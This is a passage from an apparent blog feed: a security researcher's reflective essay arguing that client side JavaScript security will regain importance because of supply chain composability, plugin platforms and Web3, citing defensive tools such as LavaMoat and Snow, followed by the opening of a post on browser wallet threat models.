&lt;blockquote&gt;
&lt;p&gt;“&lt;em&gt;I analysed the reasons companies faced great hardship, and most of the time it was &lt;strong&gt;not because of client side security issues&lt;/strong&gt; but rather &lt;strong&gt;server side issues that led to critical impact&lt;/strong&gt; on their infrastructure.&lt;/em&gt;”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Shubham made me connect to his experience by expressing a similar passion he had out of hope and belief (almost self convincement?) that &lt;strong&gt;securing the client side is truly important&lt;/strong&gt;, until it &lt;strong&gt;failed to hold water&lt;/strong&gt; against logic and reality:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“For the first 3-4 years that I was working in infosec, &lt;strong&gt;I found client side security so exciting.&lt;/strong&gt; I stayed on top of every new technique and studied new techniques closely. After this, I took a step back and realised that &lt;strong&gt;all of my work on client side security felt helpless, useless, to some extent.&lt;/strong&gt; “&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As a security expert, responsible for auditing the security of applications by naturally going after the most impact apps can go under, Shubham had to &lt;strong&gt;shift his efforts towards other areas than the client side:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“A part of me thought that client side security issues still had impact to the end users (and they still do), but I &lt;strong&gt;couldn’t cite a single example where a company had lost so much due to a client side issue&lt;/strong&gt;. It really shaped my mindset and perspective for what to be looking for when auditing an application, and is &lt;strong&gt;the reason why I became so deeply invested in server side security.&lt;/strong&gt;”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;But what really got me, was the fear of ever saying the following words:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;“I still try and stay on top of client side security exploitation techniques, but &lt;strong&gt;they don’t really excite me anymore.&lt;/strong&gt;”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Because knowing the industry and relating to Shubham sees things, I can see myself ending up in a similar place.
And I take this harder than Shubham &lt;strong&gt;maybe&lt;/strong&gt;, because of the relationship I have with client side security, &lt;strong&gt;for better or worse.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;my-relationship-with-client-side-security&quot;&gt;My relationship with client side security&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;In this section I’ll lay out some context about me and the path I went through for you to better judge my perspective on client side security and the promising future I see for it.
I encourage you to read it for the important context, but you can still decide to &lt;a href=&quot;#my-take-on-client-side-security&quot;&gt;skip to my take on client side security&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;the-beginning&quot;&gt;The beginning&lt;/h3&gt;
&lt;p&gt;As an 18yo Israeli, I was to serve the Israeli Defense Forces by duty.&lt;/p&gt;
&lt;p&gt;There are many roles to take as part of this obligation, and the intelligent and/or fortunate ones serve in the Israeli Intelligence Corps,
a batch of units which are mostly responsible for collecting valuable intel for national security. The most impactful way for achieving
that is by practicing what you might know as “&lt;strong&gt;Offensive Cyber Security&lt;/strong&gt;”, which is a primary reason why Israel is considered to be a world-class leader in cyber-security.&lt;/p&gt;
&lt;details markdown=&quot;1&quot;&gt;
&lt;summary&gt;
The most popular one, which I ended up at, is called &lt;b&gt;8200&lt;/b&gt; ...
&lt;/summary&gt;
&lt;br&gt;
&lt;p&gt;If truth to be told, on that spectrum between intelligent and fortunate, I was probably a lot closer to fortunate than intelligent.
The proof of that was the fact that the professionality gap between the training course I was accepted
to and the team I ended up in was the result of no less than an accident (a story for another day).&lt;/p&gt;
&lt;p&gt;Naturally, such a gap introduced significant difficulties for me, as I struggled a lot to keep up with the rest of the team.
I was surrounded by highly competent individuals, who were each highly skilled in each of their own distinct field of expertise, whereas I was a colorless weak link.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It was no picnic.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After a year and a half of doing mostly QA and struggling to learn Python, it was decided that our team should take some extra responsibility by absorbing a
security field that belonged to another team, meaning no one in my team were familiar with that field - &lt;strong&gt;Browser JavaScript (offensive) Security.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Being the perfect opportunity for me to take on something that is not only a bigger contribution to the joint effort than the things I’ve done so far,
but most importantly a chance for me to find my own color and to become an expert in a field no one else (in my team) is - &lt;strong&gt;I jumped on it immediately.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And so began the bumpy ride of mine I call “my career”.&lt;/p&gt;
&lt;h3 id=&quot;the-choice&quot;&gt;The choice&lt;/h3&gt;
&lt;p&gt;One decade forward, and I’ve been focusing &lt;strong&gt;almost entirely on JavaScript security.&lt;/strong&gt;
Working for the best in the field, I’ve gained experience in &lt;strong&gt;almost every client side security field&lt;/strong&gt; one can imagine - whether it’s
&lt;a href=&quot;https://weizmangal.com/?tags=CVEs&quot;&gt;vulnerability research&lt;/a&gt;,
&lt;a href=&quot;https://weizmangal.com/?tags=Anti-Debug&quot;&gt;anti debugging&lt;/a&gt;,
&lt;a href=&quot;https://weizmangal.com/?tags=MetaMask&quot;&gt;web extensions security&lt;/a&gt;,
bot detection,
&lt;a href=&quot;https://weizmangal.com/?tags=Supply-Chain-Security&quot;&gt;supply chain security&lt;/a&gt; or
&lt;a href=&quot;https://weizmangal.com/2021/07/18/securely-snow-across/&quot;&gt;JavaScript security&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;While fun for the most part, the ride was bumpy because for some parts of it I was unsure of &lt;strong&gt;whether focusing so much on client side security is a smart move.&lt;/strong&gt;
Taking such an active part of this industry, I learned (the hard way) that this is a niche industry, and while you might feel pretty wanted by some companies,
&lt;strong&gt;such skills won’t serve you similarly for the big amount of the others.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Leaving &lt;a href=&quot;https://perimeterx.com/&quot;&gt;PerimeterX&lt;/a&gt; (now &lt;a href=&quot;https://www.humansecurity.com/&quot;&gt;Human&lt;/a&gt;), I wanted to move on to the offensive cyber-security industry to advance my
vulnerability research and exploitation skills
(right after finding a &lt;a href=&quot;https://weizmangal.com/2020/02/14/whatsapp-vuln/&quot;&gt;major breach in WhatsApp Desktop&lt;/a&gt; and a &lt;a href=&quot;https://weizmangal.com/2020/09/02/csp-vuln/&quot;&gt;CSP bypass in Chromium&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;After learning more about this industry, combined with personal choices, I changed my mind and decided to pass on this industry, which got me to think - &lt;strong&gt;&lt;em&gt;if not this, what then?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;the-wrong-choice&quot;&gt;The wrong choice?&lt;/h3&gt;
&lt;p&gt;This was a 3 months turbulence of emotions around the fear of &lt;strong&gt;whether I wasted the most important years of my career on this one niche field no one has any interest of?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I mean, being a security pro is great, the need for security specialists isn’t going to end anytime soon, especially in popular fields such as cloud security.
Same goes for JavaScript - being a pro in JS and an excellent JS engineer is also a safe bet as JS is still the most popular programming language in the world.&lt;/p&gt;
&lt;p&gt;But a strict combination of the two? Perhaps &lt;strong&gt;too small of a cell in the tech industry matrix of needed skills.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;As part of this roller coaster I was fortunate enough to consult with great people I look up to on the matter.&lt;/p&gt;
&lt;p&gt;One of them was &lt;a href=&quot;https://bionic.ai/&quot;&gt;Bionic&lt;/a&gt;’s co-founder (acquired by &lt;a href=&quot;https://www.crowdstrike.com/&quot;&gt;CrowdStrike&lt;/a&gt;) &lt;a href=&quot;https://www.crunchbase.com/person/eyal-mamo&quot;&gt;Eyal Mamo&lt;/a&gt;
which I got to know from the military service.&lt;/p&gt;
&lt;p&gt;Eyal clearly understood where I was coming from and agreed I should &lt;strong&gt;broaden my horizons so that my perspective on security is wider&lt;/strong&gt;, even if just slightly.&lt;/p&gt;
&lt;p&gt;And that’s how I joined Bionic for a standard FullStack software development position - a very different one from what I’ve been focusing on before - out of belief
&lt;strong&gt;fully betting on client side security might not be the smartest thing to do.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And while Bionic turned out to be a great experience (both for working there and for it to be later acquired),
I left Bionic only 1.5 years later - because &lt;strong&gt;the passion for client side security didn’t die off, it only became stronger&lt;/strong&gt;, leading me to my next great next opportunity.&lt;/p&gt;
&lt;h3 id=&quot;the-right-choice&quot;&gt;The right choice&lt;/h3&gt;
&lt;p&gt;While working at Bionic, I kept learning about the world of client side security, and two initiatives I found &lt;strong&gt;fascinating&lt;/strong&gt; were
&lt;a href=&quot;https://github.com/LavaMoat/LavaMoat/&quot;&gt;LavaMoat&lt;/a&gt; and &lt;a href=&quot;https://github.com/endojs/endo/tree/master/packages/ses&quot;&gt;SES&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;After partly wrapping my head around them and the problem they address, it came clear to me &lt;strong&gt;JavaScript security is far from a solved problem - and that
directly affects browser client side security.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;At the time I was working on my own side project called &lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt;Snow&lt;/a&gt; to address another non-solved problem in client side
security I refer to as &lt;a href=&quot;https://weizmangal.com/2023/09/28/the-same-origin-concern/&quot;&gt;the Same Origin Concern&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I reached out to &lt;a href=&quot;https://github.com/kumavis&quot;&gt;@kumavis&lt;/a&gt; (the creator of &lt;a href=&quot;https://github.com/LavaMoat/LavaMoat/&quot;&gt;LavaMoat&lt;/a&gt;) to discuss the different problems we both attempt to address, and it made sense to
both of us that my work could be a great addition to the &lt;a href=&quot;https://github.com/LavaMoat/LavaMoat/&quot;&gt;LavaMoat&lt;/a&gt; project which focuses on securing JavaScript both for their main
product (&lt;a href=&quot;https://github.com/MetaMask/metamask-extension/&quot;&gt;MetaMask&lt;/a&gt;) and for anyone in the world.&lt;/p&gt;
&lt;/details&gt;
&lt;br&gt;
&lt;p&gt;… So why am I telling you all this 👆?&lt;/p&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
&lt;h2 id=&quot;my-take-on-client-side-security&quot;&gt;My take on client side security&lt;/h2&gt;
&lt;p&gt;What does the future hold for client side security? Given my experience and perspective, I’ll try to answer that.&lt;/p&gt;
&lt;h3 id=&quot;the-death-of-client-side-security&quot;&gt;The death of client side security?&lt;/h3&gt;
&lt;p&gt;Referring back to Shubham’s take, applications are architected so that the &lt;strong&gt;backend of an app carries the core responsibility for the security&lt;/strong&gt; of the app.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And rightfully so&lt;/strong&gt; - in contrary to the client side, &lt;strong&gt;the backend is more capable&lt;/strong&gt; of that for being able to manifest logic that no outer entity
has access to nor the ability to tamper with, whereas with the client side it’s the other way around - &lt;strong&gt;anything that’s being served to the client
is by definition fully accessible for it to both read and modify.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This core principal leads to an important conclusion - &lt;strong&gt;the client side is not to be trusted to begin with, so why even bother securing it?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This hopefully gives you a taste of the anxiety I went through multiple times throughout my career - if there’s no good reason to secure
the client side and this is the one single thing I feel I have an advantage in, is my career based on an unneeded skill?&lt;/p&gt;
&lt;p&gt;Sure, there are some use cases for securing the client side, but are they niche reasons barely relevant to the tech industry, as it will
mostly focus on securing other components of their applications (probably forever)?&lt;/p&gt;
&lt;p&gt;That’s the conclusion I was arriving at when I joined Bionic to gradually migrate away from my passion for client side security.&lt;/p&gt;
&lt;p&gt;But right before giving up for good, I decided to go for one last round by joining &lt;a href=&quot;https://github.com/MetaMask/metamask-extension/&quot;&gt;MetaMask&lt;/a&gt;’s &lt;a href=&quot;https://github.com/LavaMoat/LavaMoat/&quot;&gt;LavaMoat&lt;/a&gt; effort, to see once and for all &lt;strong&gt;whether
there’s still something to it, or is client side security basically a lost cause?&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&quot;client-side-securitys-second-chance&quot;&gt;Client side security’s second chance&lt;/h3&gt;
&lt;p&gt;Joining &lt;a href=&quot;https://github.com/LavaMoat/LavaMoat/&quot;&gt;LavaMoat&lt;/a&gt;, meeting brilliant people focusing on securing the JavaScript ecosystem, I rediscovered the reasons for why &lt;strong&gt;client side
security is going to matter a lot in the future&lt;/strong&gt; and why I personally feel &lt;strong&gt;confident betting on it more than ever.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I mostly have two main reasons in mind:&lt;/p&gt;
&lt;h3 id=&quot;software-composability&quot;&gt;Software Composability&lt;/h3&gt;
&lt;p&gt;This one is a reason I had in mind even before joining &lt;a href=&quot;https://github.com/MetaMask/metamask-extension/&quot;&gt;MetaMask&lt;/a&gt;. In fact, our shared take on it is what drove &lt;a href=&quot;https://github.com/LavaMoat/LavaMoat/&quot;&gt;LavaMoat&lt;/a&gt; to adopt &lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt;Snow&lt;/a&gt; into its set of security tools.&lt;/p&gt;
&lt;p&gt;The bottom line is that &lt;strong&gt;the evolution of web application development had put us in a place where telling what code our application is going to execute is pretty much impossible&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Saying that 10 years ago would have sounded &lt;strong&gt;ridiculous&lt;/strong&gt;, but since then supply chain driven development became so prominent that most web apps nowadays are
composed of around &lt;strong&gt;90% of code written by other entities - entities we can hardly verify nor blindly trust.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And trust is far from enough too&lt;/strong&gt;, because even if the maintainer is verified to be trustworthy for years, meaning they have no malicious intentions - &lt;strong&gt;a malicious entity
can still compromise access preserved to the maintainer and abuse it.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;So from a world where unwanted code execution was mostly XSS, which can be specifically identified and mitigated, &lt;strong&gt;malicious code can now be introduced from within the
application itself - a far harder form of abuse to detect.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In addition to the form of &lt;strong&gt;“Supply Chain driven development”&lt;/strong&gt;, Software composability comes in other forms that also require strong client side security.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;“Pluggable platforms”&lt;/strong&gt; are a great example - since web applications are so advanced these days, many operate as platforms, allowing developers to create
plugins to be plugged into the platform on user demand.&lt;/p&gt;
&lt;p&gt;Shopify, Wix and more are platforms allowing developers to upload plugins aimed for users to install on top of the basic services these platform offer to enhance
the benefit they give, forming more powerful and versatile services for their users - a form of practice we’ll see more and more as we go on thanks to the web
allowing JS software to easily consume smaller programs.&lt;/p&gt;
&lt;p&gt;No reason to look too far either - &lt;a href=&quot;https://github.com/MetaMask/metamask-extension/&quot;&gt;MetaMask&lt;/a&gt; is also a platform which allows the extension of its basic services using developers-made plugins called “snaps”.&lt;/p&gt;
&lt;p&gt;The “snaps” plugin system required great client side security engineering (conducted by us internally) for the same reason the formers went through
similar such careful care - those plugins are designed to run in the client side, within the app/platform itself, and that means it must endow them with some
basic capabilities while &lt;strong&gt;confining them from obtaining more power in the app than they should have.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And to make things even more &lt;strong&gt;tricky&lt;/strong&gt; - both &lt;strong&gt;“Pluggable platforms”&lt;/strong&gt; and &lt;strong&gt;“Supply Chain driven development”&lt;/strong&gt; use cases can theoretically (and practically) be included and/or
executed both at runtime and build time, making it sometimes &lt;strong&gt;impossible to address using backend prevention solutions&lt;/strong&gt; (especially for runtime).&lt;/p&gt;
&lt;p&gt;In other words - &lt;strong&gt;code we don’t trust can potentially end up running in our application&lt;/strong&gt;, and trusting backend solutions to prevent it can no longer cut it, because &lt;strong&gt;statically
identifying this is just too complex of a task.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And when preventing something is too hard, the second-best way to tackle it is by &lt;strong&gt;waiting for it to happen.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And when it comes to breached web applications, &lt;strong&gt;it &lt;em&gt;happens&lt;/em&gt; on the client side.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Thus, the industry will have to &lt;strong&gt;result into client side based detection tools&lt;/strong&gt; in addition to backend prevention attempts,
as such breaches can generate big damage (potentially too big to recover from) - &lt;strong&gt;a risk that companies can’t afford to take&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;In the past years, attempts to create such security tools were already made (coming from the co-creator of PerimeterX &lt;a href=&quot;https://www.humansecurity.com/products/code-defender&quot;&gt;CodeDefender&lt;/a&gt;),
but quite unsuccessfully. Perhaps because the timing was off, or because my take is simply wrong - &lt;strong&gt;time will tell&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;But one thing’s for sure: &lt;strong&gt;composability driven software is a great turn&lt;/strong&gt; - it’s far more efficient (“build on the shoulders of giants”) and the JS language as well as its ecosystem
specifically are well suited for such engineering methodology. The further we advance, &lt;strong&gt;the more software’s going to rely on other software&lt;/strong&gt;, and therefore the need for supporting
this long term process securely is &lt;strong&gt;more important than ever&lt;/strong&gt; (in which the client side takes a major role IMO).&lt;/p&gt;
&lt;h3 id=&quot;decentralization&quot;&gt;Decentralization&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;This is a more controversial one.
Based on who usually reads my stuff, you either see and expects the upsides the Web3 paradigm barres with it (and therefore
will relate to this argument) or you’re here for the JavaScript security take and this argument might not speak to you really.
If that’s the case, stick around regardless.
If you like technology and information security, &lt;strong&gt;you might find this angle interesting&lt;/strong&gt; to think about, regardless of your stance.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Even if I’m way off about the former argument, and the problem of composable software is completely addressable from the server
end (which it isn’t) - &lt;strong&gt;what if there wasn’t a server to help in the first place?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Many would claim there is a decentralized revolution in action, making this argument worth of examination at least.&lt;/p&gt;
&lt;p&gt;In the Web3 space for example, that’s &lt;strong&gt;kind of the case&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Instead of web apps you have &lt;a href=&quot;https://www.techtarget.com/iotagenda/definition/blockchain-dApp&quot;&gt;dapps&lt;/a&gt; (decentralized apps) which are normal web applications on the client side,
but they connect to something slightly different from a traditional server (a common example would be the &lt;a href=&quot;https://ethereum.org/&quot;&gt;Ethereum&lt;/a&gt; network),
and those dapps can practically operate without a traditional server to begin with.&lt;/p&gt;
&lt;p&gt;While somewhat unrealistic on one hand, a big portion of the Web3 industry actually expects dapps to not incorporate a server that stores/processes
user information - that’s actually &lt;strong&gt;a big part of the Web3 idea for many people in the first place.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This strongly applies to credentials&lt;/strong&gt; - in the Ethereum ecosystem for example, authenticating to dapps and operating them is expected to be done via the private key
of the user in front of the Ethereum network rather than some centralized-managed server (it isn’t really authentication but that’s good enough for the explanation).&lt;/p&gt;
&lt;p&gt;This &lt;strong&gt;dramatically shifts away&lt;/strong&gt; from the traditional security paradigm referred to earlier, where servers are not only expected to participate in ensuring the safety
of applications’ users, but are also expected to do the heavy lifting.&lt;/p&gt;
&lt;p&gt;But in Web3 architecture, &lt;strong&gt;that’s no longer possible&lt;/strong&gt; - for better or worse, &lt;strong&gt;the most sensitive actions being performed in dapps take place in the client side&lt;/strong&gt; (from start to finish).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This turns the tables&lt;/strong&gt; - if before &lt;strong&gt;the server was such a great way to design safe applications that client side security was barely even relevant&lt;/strong&gt;, in Web3 context, &lt;strong&gt;client side
is the only way to secure that part of the application.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It’s also important to clarify - &lt;strong&gt;this extends beyond just Web3&lt;/strong&gt;. The idea of decentralized services is realized on other forms as well,
such as financial services (aka &lt;a href=&quot;https://www.investopedia.com/decentralized-finance-defi-5113835&quot;&gt;DeFi&lt;/a&gt;, e.g. &lt;a href=&quot;https://bitcoin.org/en/&quot;&gt;Bitcoin&lt;/a&gt;),
P2P applications and more, but in this essay we focus on client side security in context of browsers,
whereas client side security of other decentralized services will be affected differently depending on their supporting infrastructure.&lt;/p&gt;
&lt;p&gt;This came very clear to me working on &lt;a href=&quot;https://github.com/MetaMask/metamask-extension/&quot;&gt;MetaMask&lt;/a&gt;,
and is why I’m so proud of the JavaScript security work we do - Since the &lt;a href=&quot;https://github.com/MetaMask/metamask-extension/&quot;&gt;MetaMask&lt;/a&gt; crypto wallet is a browser
extension that is theoretically vulnerable to the same threats described in context of dapps (and even more so being the critical bridge between dapps and the Ethereum network),
in order to not die, &lt;a href=&quot;https://github.com/MetaMask/metamask-extension/&quot;&gt;MetaMask&lt;/a&gt; is &lt;strong&gt;forever obligated to ship the most secured client side product ever&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;And while slightly less so, &lt;strong&gt;dapps and other Web3 client side services are under a similar obligation&lt;/strong&gt; - otherwise the idea behind Web3 (and decentralization in general) &lt;strong&gt;won’t ever truly take off&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Therefore, if you see some sense in the decentralized movement and believes it’s here to stay to whatever extent you can imagine, you should agree &lt;strong&gt;the need for advanced
client side security technology is more critical than ever.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;client-side-securitys-critical-role-in-the-future&quot;&gt;Client side security’s critical role in the future&lt;/h2&gt;
&lt;p&gt;I guess this is my way of telling 5/10 years ago Gal:&lt;/p&gt;
&lt;p&gt;“
&lt;em&gt;&lt;strong&gt;Don’t panic.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;While client side security might feel like some useless niche sometimes, remember &lt;strong&gt;it’s also a matter of timing&lt;/strong&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Telling what turns the tech industry is going to take is hard as it is such a difficult to predict industry that takes seemingly random curves occasionally.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Those curves can be surprising and can &lt;strong&gt;lead particular technological fields to the road of adoption or complete failure - it’s hard to tell.&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;And as for client side security, similarly to many other niche fields, &lt;strong&gt;it might turn out just fine&lt;/strong&gt;.&lt;/em&gt;
“&lt;/p&gt;
&lt;p&gt;At the same time, this is also my take on Shubham’s observation on client side security:&lt;/p&gt;
&lt;p&gt;When sticking to traditional client side security (XSS and such), I tend to agree it might die off a little from a security researcher perspective, as this becomes
a more and more &lt;strong&gt;closed gap&lt;/strong&gt; both because &lt;strong&gt;addressing traditional client side security is more simple&lt;/strong&gt; and because &lt;strong&gt;traditional security architecture mainly leans on the server side&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;But given the POVs above, I believe &lt;strong&gt;client side security will become more advance and more complicated&lt;/strong&gt;, thus naturally will &lt;strong&gt;introduce new attack surfaces for researchers&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Based on the experience of coming up with the threats the &lt;a href=&quot;https://github.com/MetaMask/metamask-extension/&quot;&gt;MetaMask&lt;/a&gt; app is potentially exposed to, I have multiple examples to back this claim up:&lt;/p&gt;
&lt;h4 id=&quot;javascript-sandboxing&quot;&gt;JavaScript Sandboxing&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/LavaMoat/LavaMoat/&quot;&gt;LavaMoat&lt;/a&gt; is a security tool written in JavaScript and built on &lt;a href=&quot;https://github.com/endojs/endo/tree/master/packages/ses&quot;&gt;SES&lt;/a&gt; we maintain, with which we’re able to &lt;strong&gt;sandbox each of our &lt;a href=&quot;https://github.com/MetaMask/metamask-extension/&quot;&gt;MetaMask&lt;/a&gt; JavaScript dependencies&lt;/strong&gt; to confine them
and minimize the amount of damage they can do if they get breached.&lt;/p&gt;
&lt;h4 id=&quot;the-same-origin-concern&quot;&gt;The Same Origin Concern&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lavamoat/snow&quot;&gt;Snow&lt;/a&gt; is another security tool we use to prevent JS code from &lt;strong&gt;being able to create new same origin realms&lt;/strong&gt; (aka iframes).
This is a vital tool in case sandboxed code we don’t trust manages to use the limited set of capabilities we endowed it to form a new realm,
because new realms offer access to all capabilities the browser offers - including those we intentionally didn’t endow it.&lt;/p&gt;
&lt;h4 id=&quot;dom-confinement&quot;&gt;DOM Confinement&lt;/h4&gt;
&lt;p&gt;DOM API is historically designed so that you can travel &lt;strong&gt;from one node to basically any other node&lt;/strong&gt; (and even the document itself and its owner window object)
effortlessly, and preventing that was proven to be very hard (see the &lt;a href=&quot;https://github.com/googlearchive/caja/blob/master/src/com/google/caja/plugin/domado.js&quot;&gt;CaJa project&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/LavaMoat/LavaDome/&quot;&gt;LavaDome&lt;/a&gt; attempts to solve a subset of this problem, but a more complete solution doesn’t seem to be coming any time soon.&lt;/p&gt;
&lt;h3 id=&quot;are-those-actual-problems-though&quot;&gt;Are those actual problems though?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Remember the context here&lt;/strong&gt;: for the traditional web, where the client side isn’t complicated and there’s a server taking the responsibility for securing the app - these problems
aren’t too relevant, and &lt;strong&gt;current browsers’ threat model is rather enough.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;But the context here is that for use cases falling under the arguments presented above, &lt;strong&gt;code running in the same origin as the app is no longer as trustworthy as it was
considered traditionally&lt;/strong&gt; - and the implications of that are big, because if browsers are good at isolating cross-origin entities from each other, the new take here is that
similar confinement is now necessary in a lower resolution, where &lt;strong&gt;two entities within a single origin aren’t trustworthy by default anymore&lt;/strong&gt; - which results in the security
gaps listed above.&lt;/p&gt;
&lt;p&gt;And &lt;strong&gt;that’s&lt;/strong&gt; why I believe &lt;strong&gt;the web would have to adjust accordingly&lt;/strong&gt; - whether by virtualized solutions such as those we compose at &lt;a href=&quot;https://github.com/MetaMask/metamask-extension/&quot;&gt;MetaMask&lt;/a&gt;
or by advocating for browser-level solutions to properly address these gaps (probably both).&lt;/p&gt;
&lt;p&gt;Furthermore - it’s important to note that the success/failure of client side security is affected by more means than just technological gaps
(such as financial/political motives within the global cyber security ecosystem), but this essay focuses strictly on the technological angle.&lt;/p&gt;
&lt;p&gt;And with that in mind, &lt;strong&gt;I expect a comeback for client side security&lt;/strong&gt; - for the industry, for the vendors and most importantly - &lt;strong&gt;for the researchers&lt;/strong&gt;!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I don’t just guess - you’re welcome to further explore the work we advocate for around web and client side security which we find so important for MetaMask to become
safer as well as allow other builders to secure their apps too:
&lt;a href=&quot;https://weizmangal.com/2023/10/03/w3c-realms/&quot;&gt;Gal Weizman: JavaScript realms used to bypass and eliminate web apps security tools - A problem with a WIP solution&lt;/a&gt; ,
&lt;a href=&quot;https://www.youtube.com/watch?v=l2l_qnEhx3M&quot;&gt;Gal Weizman: JavaScript Realms: The Blank Spot In Web App Runtime Security&lt;/a&gt; and more&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block; text-align:center;&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-ad-client=&quot;ca-pub-1379968351324902&quot; data-ad-slot=&quot;5348991370&quot;&gt;&lt;/ins&gt;&lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>MetaMask Wallet Security Threat Model - The Browser's Prespective [𝕏]</title>
   <link href="https://weizman.github.io//2024/01/21/browsers-wallet-security-debunk/"/>
   <updated>2024-01-21T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2024/01/21/browsers-wallet-security-debunk</id>
   <content type="html">&lt;blockquote&gt;
&lt;p&gt;Originally &lt;a href=&quot;https://twitter.com/WeizmanGal/status/1747675790668685728&quot;&gt;posted on X&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div id=container&gt;
    &lt;style&gt;
        .post {
            max-width: 80vh;
        }
        IMG {
            border: solid 1px lightgray;
            padding: 15px;
            margin: 15px;
        }
    &lt;/style&gt;
&lt;p&gt;A recently published paper on Browser Wallets Security was just shared.&lt;br&gt;
&lt;br&gt;
Given this being my field of work in recent years, I make sure to familiarize myself with such content.&lt;br&gt;
&lt;br&gt;
